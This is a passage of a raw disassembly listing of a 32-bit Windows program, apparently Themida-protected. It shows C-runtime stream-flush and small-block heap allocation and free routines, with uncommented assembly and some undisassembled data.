I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 26A0574h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26E05B4h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28D0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2680000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24C2357h dd 0A3C08590h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 24C21D8h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C085023Bh, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 27C0000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj ; DATA XREF: Themida_:off_55D447o cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 call near ptr 2890000h nop cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 27D0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28E0A43h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 call near ptr 27C0000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 28E0A43h nop test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] 